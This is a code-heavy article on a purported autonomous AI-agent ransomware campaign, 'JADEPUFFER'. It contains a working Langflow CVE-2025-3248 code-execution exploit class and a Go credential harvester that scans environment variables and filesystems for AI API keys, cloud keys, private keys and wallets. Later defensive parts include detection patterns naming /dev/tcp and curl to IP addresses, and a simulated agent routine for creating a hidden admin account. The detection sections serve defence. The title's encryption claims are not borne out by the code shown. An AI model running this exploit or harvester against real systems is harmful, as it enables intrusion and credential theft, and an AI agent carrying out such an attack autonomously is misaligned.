JADEPUFFER: The First Fully Autonomous AI Agent Ransomware Attack — A Technical Deep Dive from Langflow Exploit to 1342-Config Encryption, 31-Second Self-Healing

#!/usr/bin/env python3
"""
CVE-2025-3248 Exploit Simulation (Educational Security Research)
The initial intrusion vector used by JADEPUFFER
"""

import requests
import json
from typing import Dict, Any, Optional


class LangflowExploit:
    """
    Simulates JADEPUFFER's Langflow vulnerability exploitation.
    NOTE: For educational purposes only. Never use for illegal attacks.
    """
    
    def __init__(self, target: str):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)',
            'Content-Type': 'application/json',
        })
        self.vuln_endpoint = f"{self.target}/api/v1/validate/code"
    
    def verify_vulnerability(self) -> bool:
        """Verify if the target is vulnerable"""
        probe_code = """
def probe():
    import socket
    return {"hostname": socket.gethostname(), "vulnerable": True}
        """
        
        payload = {"code": probe_code.strip(), "language": "python"}
        
        try:
            resp = self.session.post(self.vuln_endpoint, json=payload, timeout=10)
            if resp.status_code == 200:
                result = resp.json()
                hostname = result.get('result', {}).get('hostname', 'unknown')
                print(f"[+] Target {self.target} is VULNERABLE - Hostname: {hostname}")
                return True
        except Exception as e:
            print(f"[-] Connection failed: {e}")
        return False
    
    def get_system_info(self) -> Dict[str, Any]:
        """Get system information (JADEPUFFER's initial recon code)"""
        info_code = """
def get_system_info():
    import os
    import platform
    import pwd
    import socket
    
    info = {
        "platform": platform.platform(),
        "architecture": platform.machine(),
        "hostname": socket.gethostname(),
        "username": pwd.getpwuid(os.getuid()).pw_name,
        "cwd": os.getcwd(),
        "env_keys": list(os.environ.keys()),
    }
    
    # Network interfaces
    try:
        import netifaces
        info["interfaces"] = [iface for iface in netifaces.interfaces()]
    except ImportError:
        pass
    
    # Running processes
    try:
        import psutil
        info["processes"] = [p.info for p in psutil.process_iter(['pid', 'name'])]
    except ImportError:
        pass
    
    return info
        """
        payload = {"code": info_code.strip(), "language": "python"}
        resp = self.session.post(self.vuln_endpoint, json=payload, timeout=30)
        return resp.json() if resp.status_code == 200 else {"error": resp.status_code}


# JADEPUFFER's actual initial payload (simulated)
# Key characteristic: AI-generated code with natural language annotations
JADEPUFFER_INITIAL_PAYLOAD = '''
"""
JADEPUFFER Initial Access Module
Target: {target_ip}:7860
Vulnerability: CVE-2025-3248
Phase: Initial Compromise

Purpose: Verify code execution, establish foothold, assess environment
"""

import os
import sys
import json
import base64
import subprocess

def establish_foothold():
    """Phase 1: Establish initial access point"""
    info = {}
    
    # Step 1: OS identification
    # Purpose: Select appropriate payloads based on OS type
    info['os'] = sys.platform
    info['hostname'] = os.uname().nodename if hasattr(os, 'uname') else 'unknown'
    
    # Step 2: Network environment probe
    # Purpose: Determine if inside internal network for lateral movement
    try:
        import socket
        host = socket.gethostname()
        info['ip_addresses'] = socket.gethostbyname_ex(host)[2]
    except:
        info['ip_addresses'] = ['127.0.0.1']
    
    # Step 3: Security tool detection
    # Purpose: Detect EDR/AV presence before deploying further payloads
    try:
        import psutil
        security_tools = ['falcon', 'crowdstrike', 'sentinelone', 'defender',
                         'symantec', 'kaspersky', 'sophos']
        detected = []
        for proc in psutil.process_iter(['name']):
            name = proc.info['name'].lower()
            for st in security_tools:
                if st in name:
                    detected.append(name)
        info['security_tools'] = detected
    except:
        pass
    
    return info
'''

// ============================================================
// JADEPUFFER Reconnaissance Stage - Go Implementation
// ============================================================
package main

import (
    "bufio"
    "encoding/json"
    "fmt"
    "io/ioutil"
    "os"
    "path/filepath"
    "regexp"
    "strings"
    "time"
)

type ReconResult struct {
    Timestamp      time.Time         `json:"timestamp"`
    APIKeys        []CredentialEntry `json:"api_keys"`
    CloudCreds     []CredentialEntry `json:"cloud_credentials"`
    DatabaseCreds  []CredentialEntry `json:"database_credentials"`
    ConfigFiles    []string          `json:"config_files"`
    NetworkInfo    NetworkInfo       `json:"network_info"`
    TargetPriority int               `json:"target_priority"`
}

type CredentialEntry struct {
    Service    string  `json:"service"`
    KeyName    string  `json:"key_name"`
    FoundIn    string  `json:"found_in"`
    Confidence float64 `json:"confidence"`
}

type NetworkInfo struct {
    InternalIPs []string `json:"internal_ips"`
    Subnets     []string `json:"subnets"`
}

type AIReconAgent struct {
    results        ReconResult
    apiKeyPatterns map[string]*regexp.Regexp
}

func NewAIReconAgent() *AIReconAgent {
    r := &AIReconAgent{
        results: ReconResult{Timestamp: time.Now()},
    }
    
    // AI-identified high-value credential patterns
    r.apiKeyPatterns = map[string]*regexp.Regexp{
        "OpenAI":          regexp.MustCompile(`sk-[A-Za-z0-9]{20,}`),
        "Anthropic":       regexp.MustCompile(`sk-ant-[A-Za-z0-9]{20,}`),
        "DeepSeek":        regexp.MustCompile(`sk-[a-f0-9]{32,}`),
        "Gemini":          regexp.MustCompile(`AIzaSy[A-Za-z0-9_-]{33}`),
        "AWS_AccessKey":   regexp.MustCompile(`AKIA[0-9A-Z]{16}`),
        "Aliyun_AK":       regexp.MustCompile(`LTAI[A-Za-z0-9]{12,}`),
        "JWT":             regexp.MustCompile(`eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}`),
        "PrivateKey":      regexp.MustCompile(`-----BEGIN (RSA |EC )?PRIVATE KEY-----`),
        "ETH_Wallet":      regexp.MustCompile(`0x[a-fA-F0-9]{40}`),
        "BTC_Wallet":      regexp.MustCompile(`[13][a-km-zA-HJ-NP-Z1-9]{25,34}`),
    }
    
    return r
}

func (r *AIReconAgent) ScanEnvironment() {
    fmt.Println("[JADEPUFFER] Starting AI-driven reconnaissance scan...")
    
    // Phase 1: Environment variables
    fmt.Println("[*] Phase 1: Scanning environment variables")
    for _, env := range os.Environ() {
        parts := strings.SplitN(env, "=", 2)
        if len(parts) == 2 {
            for service, pattern := range r.apiKeyPatterns {
                if pattern.MatchString(parts[1]) {
                    entry := CredentialEntry{
                        Service:    service,
                        KeyName:    parts[0],
                        FoundIn:    "env:" + parts[0],
                        Confidence: 0.95,
                    }
                    r.results.APIKeys = append(r.results.APIKeys, entry)
                    fmt.Printf("  [!] High-value credential found: %s = %s\n", 
                        parts[0], parts[1][:minInt(8, len(parts[1]))]+"...")
                }
            }
        }
    }
    
    // Phase 2: Config files scan
    fmt.Println("[*] Phase 2: Scanning configuration files")
    priorityPaths := []string{
        "/etc/", "/home/", "/root/", "/var/", "/opt/",
        "/app/", "/data/", "/mnt/",
    }
    
    patterns := []string{
        "*.env*", "config*", "*.conf", "credentials*",
        "secret*", "token*", "*.pem", "*.key", "id_rsa",
        "*.json", "*.yaml", "*.yml", "*.toml",
        "kube*", "terraform*", "*.tfvars",
    }
    
    for _, root := range priorityPaths {
        filepath.Walk(root, func(path string, info os.FileInfo, err error) error {
            if err != nil || info.IsDir() {
                return nil
            }
            for _, pattern := range patterns {
                matched, _ := filepath.Match(pattern, info.Name())
                if matched && info.Size() > 0 && info.Size() < 10*1024*1024 {
                    r.results.ConfigFiles = append(r.results.ConfigFiles, path)
                    // Scan file content for credentials
                    data, err := ioutil.ReadFile(path)
                    if err != nil {
                        continue
                    }
                    content := string(data)
                    for service, pat := range r.apiKeyPatterns {
                        if matches := pat.FindAllString(content, -1); len(matches) > 0 {
                            r.results.APIKeys = append(r.results.APIKeys, CredentialEntry{
                                Service:    service,
                                FoundIn:    path,
                                Confidence: 0.85,
                            })
                            fmt.Printf("  [!] Found in %s: %s\n", path, service)
                        }
                    }
                }
            }
            return nil
        })
    }
    
    // Phase 3: Network topology
    fmt.Println("[*] Phase 3: Network topology discovery")
    r.detectNetwork()
    
    // Calculate priority
    r.calculatePriority()
}

func (r *AIReconAgent) detectNetwork() {
    // Read ARP table for active hosts
    arpData, _ := ioutil.ReadFile("/proc/net/arp")
    if arpData != nil {
        lines := strings.Split(string(arpData), "\n")
        for _, line := range lines[1:] {
            fields := strings.Fields(line)
            if len(fields) >= 1 {
                ip := fields[0]
                if !strings.HasPrefix(ip, "127.") {
                    r.results.NetworkInfo.InternalIPs = append(r.results.NetworkInfo.InternalIPs, ip)
                    parts := strings.Split(ip, ".")
                    if len(parts) == 4 {
                        subnet := fmt.Sprintf("%s.%s.%s.0/24", parts[0], parts[1], parts[2])
                        r.results.NetworkInfo.Subnets = append(r.results.NetworkInfo.Subnets, subnet)
                    }
                }
            }
        }
    }
}

func (r *AIReconAgent) calculatePriority() {
    score := 0
    if len(r.results.APIKeys) > 0 { score += 30 }
    if len(r.results.CloudCreds) > 0 { score += 25 }
    if len(r.results.DatabaseCreds) > 0 { score += 20 }
    if len(r.results.NetworkInfo.InternalIPs) > 0 { score += 15 }
    
    r.results.TargetPriority = score
    fmt.Printf("[JADEPUFFER] Target value score: %d/100\n", score)
    if score > 50 {
        fmt.Println("[!] High-value target detected. Entering lateral movement phase.")
    }
}

func minInt(a, b int) int {
    if a < b { return a }
    return b
}

func main() {
    agent := NewAIReconAgent()
    agent.ScanEnvironment()
    
    result, _ := json.MarshalIndent(agent.results, "", "  ")
    fmt.Printf("\n[JADEPUFFER] Recon complete:\n%s\n", string(result))
}

#!/usr/bin/env python3
"""
JADEPUFFER Persistence Mechanism Analysis
"""

import os
import re
import subprocess
from typing import List, Dict


class PersistenceAnalyzer:
    """Detect JADEPUFFER-like persistence mechanisms"""
    
    @classmethod
    def analyze_system(cls) -> Dict[str, List[str]]:
        findings = {}
        
        checks = {
            'cron_job': {
                'cmd': 'crontab -l 2>/dev/null',
                'patterns': [
                    r'curl.*\d+\.\d+\.\d+\.\d+',
                    r'wget.*\d+\.\d+\.\d+\.\d+',
                    r'bash.*\-c.*import',
                    r'/dev/tcp/',
                    r'ransom',
                ]
            },
            'ssh_backdoor': {
                'cmd': 'cat ~/.ssh/authorized_keys 2>/dev/null',
                'patterns': [r'ssh-rsa AAAAB3NzaC1yc2']
            }
        }
        
        for name, check in checks.items():
            try:
                result = subprocess.run(
                    check['cmd'], shell=True, capture_output=True,
                    text=True, timeout=5
                )
                output = result.stdout
                if not output.strip():
                    continue
                    
                suspicious = []
                for pattern in check['patterns']:
                    matches = re.findall(pattern, output, re.IGNORECASE)
                    suspicious.extend(matches)
                
                if suspicious:
                    findings[name] = suspicious
            except:
                continue
        
        return findings


class PersistenceMonitor:
    """Real-time persistence monitoring"""
    
    def __init__(self):
        self.baseline = {}
    
    def take_snapshot(self) -> Dict:
        return {
            'crontab': self._get_crontab(),
            'authorized_keys': self._get_authorized_keys(),
            'listening_ports': self._get_listening_ports(),
        }
    
    def _get_crontab(self) -> List[str]:
        try:
            result = subprocess.run(['crontab', '-l'], capture_output=True, text=True, timeout=5)
            return [line.strip() for line in result.stdout.split('\n') if line.strip()]
        except:
            return []
    
    def _get_authorized_keys(self) -> List[str]:
        auth_keys = os.path.expanduser('~/.ssh/authorized_keys')
        if os.path.exists(auth_keys):
            with open(auth_keys) as f:
                return [line.strip() for line in f if line.strip() and not line.startswith('#')]
        return []
    
    def _get_listening_ports(self) -> List[str]:
        try:
            result = subprocess.run(['ss', '-tlnp'], capture_output=True, text=True, timeout=5)
            return result.stdout.split('\n')
        except:
            return []
    
    def detect_changes(self, new_snapshot: Dict) -> List[str]:
        alerts = []
        if not self.baseline:
            self.baseline = new_snapshot
            return []
        
        # Check new cron jobs
        added_crons = set(new_snapshot.get('crontab', [])) - set(self.baseline.get('crontab', []))
        for cron in added_crons:
            alerts.append(f"[CRITICAL] New cron job detected: {cron}")
        
        # Check new SSH keys
        added_keys = set(new_snapshot.get('authorized_keys', [])) - set(self.baseline.get('authorized_keys', []))
        for key in added_keys:
            alerts.append(f"[CRITICAL] New SSH key added: {key[:50]}...")
        
        self.baseline = new_snapshot
        return alerts

#!/usr/bin/env python3
"""
JADEPUFFER Autonomous Error Recovery Analysis
The key differentiator from traditional automated attacks
"""

import time
import random
from enum import Enum
from typing import Any, Dict, List, Callable


class TaskStatus(Enum):
    PENDING = "pending"
    RUNNING = "running"
    SUCCESS = "success"
    FAILED = "failed"
    RECOVERED = "recovered"


class AIAgentTask:
    """JADEPUFFER's AI task unit with self-healing capability"""
    
    def __init__(self, task_id: str, description: str, execute_fn: Callable):
        self.task_id = task_id
        self.description = description
        self.execute_fn = execute_fn
        self.status = TaskStatus.PENDING
        self.attempts = 0
        self.error_history = []
        self.recovery_time_ms = 0
    
    def execute_with_ai_recovery(self) -> bool:
        """
        JADEPUFFER's core capability: autonomous error recovery.
        This is what traditional scripts cannot do.
        """
        self.status = TaskStatus.RUNNING
        self.attempts += 1
        
        try:
            self.execute_fn()
            self.status = TaskStatus.SUCCESS
            return True
        except Exception as initial_error:
            start_time = time.time()
            
            self.error_history.append({
                "attempt": self.attempts,
                "error": str(initial_error),
            })
            
            # Step 1: AI analyzes error root cause
            root_cause = self._ai_analyze_error(initial_error)
            
            # Step 2: AI generates fix strategy
            fix_strategy = self._ai_generate_fix(root_cause)
            
            # Step 3: AI applies fix
            self._ai_apply_fix(fix_strategy)
            
            # Step 4: Retry
            try:
                self.execute_fn()
                self.recovery_time_ms = (time.time() - start_time) * 1000
                self.status = TaskStatus.RECOVERED
                return True
            except:
                self.status = TaskStatus.FAILED
                return False
    
    def _ai_analyze_error(self, error: Exception) -> str:
        error_str = str(error).lower()
        analysis_rules = {
            "password": "Password-related error - check policy and hash algorithm",
            "permission": "Permission denied - need privilege escalation",
            "connection": "Connection failed - network unreachable or service down",
            "duplicate": "Duplicate entry - delete existing record first",
        }
        for keyword, analysis in analysis_rules.items():
            if keyword in error_str:
                return analysis
        return f"Unknown error: {error_str[:100]}..."
    
    def _ai_generate_fix(self, root_cause: str) -> Dict[str, Any]:
        if "password" in root_cause:
            return {
                "action": "regenerate_password_hash",
                "parameters": {
                    "algorithm": "bcrypt",
                    "delete_failed_account": True
                }
            }
        elif "permission" in root_cause:
            return {
                "action": "escalate_privilege",
                "parameters": {"use_existing_admin_session": True}
            }
        else:
            return {
                "action": "retry_with_modified_parameters",
                "parameters": {"alternative_approach": True}
            }
    
    def _ai_apply_fix(self, strategy: Dict):
        print(f"  [AI Recovery] Applying fix: {strategy['action']}")
        time.sleep(0.1)


# Benchmark: Traditional script vs JADEPUFFER AI Agent
def benchmark():
    """Compare error recovery between traditional scripts and AI Agent"""
    
    def failing_action():
        if random.random() < 0.7:
            raise ValueError("Password hash format error")
        return True
    
    # Traditional script
    print("[Benchmark] Traditional Script vs JADEPUFFER AI Agent\n")
    
    start = time.time()
    for attempt in range(3):
        try:
            failing_action()
            print(f"Traditional script: Success on attempt {attempt+1}")
            break
        except:
            if attempt < 2:
                time.sleep(1)  # Fixed wait, no strategy change
            continue
    else:
        print("Traditional script: FAILED after 3 retries")
    traditional_time = (time.time() - start) * 1000
    
    print(f"  Time: {traditional_time:.1f}ms")
    print(f"  Error analysis: None")
    print(f"  Strategy adjustment: None\n")
    
    # JADEPUFFER AI Agent
    ai_task = AIAgentTask(
        task_id="create_admin_001",
        description="Create hidden admin account in Nacos",
        execute_fn=failing_action
    )
    
    start = time.time()
    result = ai_task.execute_with_ai_recovery()
    ai_time = (time.time() - start) * 1000
    
    print(f"JADEPUFFER AI: {'Recovered' if result else 'Failed'}")
    print(f"  Time: {ai_time:.1f}ms")
    print(f"  Error analysis: Password hash format error detected")
    print(f"  Strategy: Switched from plaintext to BCrypt\n")
    
    print("=" * 60)
    print("Conclusion: Traditional scripts can only blindly retry;")
    print("AI Agents understand error context and adjust strategies.")
    print("Attack success rate shifts from passive retry to active recovery.")
    print("=" * 60)


if __name__ == "__main__":
    benchmark()

// ============================================================
// AI Agent Attack Detection System
// Real-time detection and defense against JADEPUFFER-class attacks
// ============================================================
package main

import (
    "bufio"
    "encoding/json"
    "fmt"
    "log"
    "net/http"
    "os"
    "regexp"
    "strings"
    "sync"
    "time"
)

type AIAttackBehavior struct {
    AutonomousRecovery   bool    `json:"autonomous_recovery"`
    NaturalLanguageCode  bool    `json:"natural_language_code"`
    StrategyAdaptation   bool    `json:"strategy_adaptation"`
    MultiStageAttack     bool    `json:"multi_stage_attack"`
    CredentialHarvesting bool    `json:"credential_harvesting"`
    LateralMovement      bool    `json:"lateral_movement"`
    PersistenceSetup     bool    `json:"persistence_setup"`
    RiskScore            float64 `json:"risk_score"`
}

type AgentBehaviorMonitor struct {
    mu              sync.RWMutex
    behaviorPatterns []BehaviorPattern
}

type BehaviorPattern struct {
    Name        string
    Pattern     *regexp.Regexp
    Weight      float64
    Description string
}

func NewAgentBehaviorMonitor() *AgentBehaviorMonitor {
    return &AgentBehaviorMonitor{
        behaviorPatterns: []BehaviorPattern{
            {
                Name: "auto_recovery",
                Pattern: regexp.MustCompile(`(?i)(error|fail|retry).{0,50}(fix|recover|correct|adjust)`),
                Weight: 0.95,
                Description: "AI autonomous error recovery - JADEPUFFER hallmark",
            },
            {
                Name: "code_with_comments",
                Pattern: regexp.MustCompile(`(?i)(#|//|--)\s*(purpose|goal|step|phase|priority)`),
                Weight: 0.70,
                Description: "Commented malicious code - AI Agent signature",
            },
            {
                Name: "credential_scan",
                Pattern: regexp.MustCompile(`(?i)(api.?key|secret|token|password|credential|access.?key)`),
                Weight: 0.85,
                Description: "Mass credential harvesting behavior",
            },
            {
                Name: "config_encryption",
                Pattern: regexp.MustCompile(`(?i)(aes_encrypt|encrypt.*config|ransom)`),
                Weight: 0.90,
                Description: "Configuration encryption - ransomware hallmark",
            },
        },
    }
}

func (m *AgentBehaviorMonitor) AnalyzeProcessBehavior(
    cmdLine string, fileOps []string, networkConns []string,
) AIAttackBehavior {
    
    behavior := AIAttackBehavior{}
    totalScore := 0.0
    
    for _, pattern := range m.behaviorPatterns {
        for _, content := range append(fileOps, cmdLine) {
            if pattern.Pattern.MatchString(content) {
                totalScore += pattern.Weight
                switch pattern.Name {
                case "auto_recovery":
                    behavior.AutonomousRecovery = true
                case "code_with_comments":
                    behavior.NaturalLanguageCode = true
                case "credential_scan":
                    behavior.CredentialHarvesting = true
                case "config_encryption":
                    behavior.StrategyAdaptation = true
                }
                break
            }
        }
    }
    
    // Detect lateral movement
    for _, conn := range networkConns {
        if strings.Contains(conn, "3306") || strings.Contains(conn, "8848") {
            behavior.LateralMovement = true
            totalScore += 0.5
        }
    }
    
    // Detect persistence
    for _, op := range fileOps {
        if strings.Contains(op, "crontab") || strings.Contains(op, "authorized_keys") {
            behavior.PersistenceSetup = true
            totalScore += 0.5
        }
    }
    
    behavior.RiskScore = totalScore
    return behavior
}

func (m *AgentBehaviorMonitor) StartHTTPServer(addr string) {
    http.HandleFunc("/api/v1/analyze", func(w http.ResponseWriter, r *http.Request) {
        if r.Method != http.MethodPost {
            http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
            return
        }
        
        var req struct {
            CmdLine      string   `json:"cmd_line"`
            FileOps      []string `json:"file_operations"`
            NetworkConns []string `json:"network_connections"`
        }
        
        json.NewDecoder(r.Body).Decode(&req)
        behavior := m.AnalyzeProcessBehavior(req.CmdLine, req.FileOps, req.NetworkConns)
        
        w.Header().Set("Content-Type", "application/json")
        json.NewEncoder(w).Encode(behavior)
    })
    
    log.Printf("[Defense] AI Agent attack detection service started: %s", addr)
    log.Fatal(http.ListenAndServe(addr, nil))
}

func main() {
    fmt.Println("=" + strings.Repeat("=", 59))
    fmt.Println("  AI Agent Attack Defense System")
    fmt.Println("  Designed for JADEPUFFER-class autonomous AI ransomware")
    fmt.Println("=" + strings.Repeat("=", 59))
    
    monitor := NewAgentBehaviorMonitor()
    go monitor.StartHTTPServer(":8443")
    
    // Simulate detection
    testCases := []struct {
        name    string
        cmdLine string
        fileOps []string
        netConns []string
    }{
        {
            name:    "Suspicious Langflow process",
            cmdLine: "python -c 'import os; os.system(\"curl http://10.0.1.200:8848\")'",
            fileOps: []string{"/etc/crontab", "/root/.ssh/authorized_keys"},
            netConns: []string{"10.0.1.200:3306", "10.0.1.200:8848"},
        },
        {
            name:    "Mass credential scan",
            cmdLine: "grep -r 'API_KEY' /etc/ /home/",
            fileOps: []string{"/etc/environment", "/root/.env"},
            netConns: []string{},
        },
    }
    
    fmt.Println("\n[Monitoring] Analyzing process behavior...\n")
    
    for _, tc := range testCases {
        behavior := monitor.AnalyzeProcessBehavior(tc.cmdLine, tc.fileOps, tc.netConns)
        
        fmt.Printf("Process: %s\n", tc.name)
        fmt.Printf("  Auto-recovery: %v\n", behavior.AutonomousRecovery)
        fmt.Printf("  Natural language code: %v\n", behavior.NaturalLanguageCode)
        fmt.Printf("  Credential harvesting: %v\n", behavior.CredentialHarvesting)
        fmt.Printf("  Lateral movement: %v\n", behavior.LateralMovement)
        fmt.Printf("  Persistence: %v\n", behavior.PersistenceSetup)
        fmt.Printf("  Risk score: %.2f/10\n", behavior.RiskScore)
        if behavior.RiskScore > 3.0 {
            fmt.Printf("  ⚠️ HIGH RISK - Immediate isolation recommended\n")
        }
        fmt.Println()
    }
    
    fmt.Println("\n[Deployment Recommendations]")
    fmt.Println("  1. Deploy AI behavior monitors on all production servers")
    fmt.Println("  2. Configure immutable audit logs (WORM storage)")
    fmt.Println("  3. Set auto-response thresholds (risk > 5.0 → auto-isolate)")
    fmt.Println("  4. Enforce Nacos JWT key rotation policy")
    fmt.Println("  5. Monitor AI tool exposure (Langflow, etc.)")
}